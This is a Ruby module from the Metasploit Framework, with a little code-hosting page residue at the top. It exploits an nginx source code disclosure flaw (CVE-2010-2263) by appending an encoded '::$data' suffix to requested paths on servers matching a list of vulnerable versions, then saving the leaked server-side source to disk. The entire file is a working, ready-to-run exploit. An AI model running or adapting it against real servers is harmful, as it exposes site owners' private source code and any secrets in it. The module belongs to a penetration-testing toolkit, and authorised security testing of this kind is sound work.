112 lines
2.8 KiB
Ruby
112 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'Nginx Source Code Disclosure/Download',
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'Version' => '$Revision$',
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'Description' => 'This module exploits a nginx source code disclosure/download vulnerability.',
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'References' =>
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[
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['CVE', '2010-2263'],
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['OSVDB', '65531'],
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['BID', '40760'],
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],
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'Author' =>
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[
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'Alligator Security Team',
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'Tiago Ferreira <tiago.ccna[at]gmail.com>',
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],
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'License' => MSF_LICENSE
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)
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register_options([
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Opt::RPORT(80),
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OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
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OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
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], self.class)
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end
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def target_url
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"http://#{vhost}:#{rport}#{datastore['URI']}"
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end
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def run_host(ip)
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uri = datastore['URI']
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path_save = datastore['PATH_SAVE']
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vuln_versions = [
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"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",
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"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",
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"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",
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"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",
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"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",
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"nginx/0.8.39","nginx/0.8.40"
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]
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get_source = Rex::Text.uri_encode("::$data")
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begin
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res = send_request_raw({
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'method' => 'GET',
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'uri' => "/#{uri}#{get_source}",
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}, 25)
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version = res.headers['Server'] if res
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if vuln_versions.include?(version)
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print_good("#{target_url} - nginx - Vulnerable version: #{version}")
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if (res and res.code == 200)
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print_good("#{target_url} - nginx - Getting the source of page #{uri}")
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save_source = File.new("#{path_save}#{uri}","w")
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save_source.puts(res.body.to_s)
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save_source.close
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print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
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else
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print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
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return
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end
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else
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if version =~ /nginx/
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print_error("#{target_url} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")
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else
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print_error("#{target_url} - nginx - Cannot exploit: the remote server is not ngnix")
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end
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return
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end
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rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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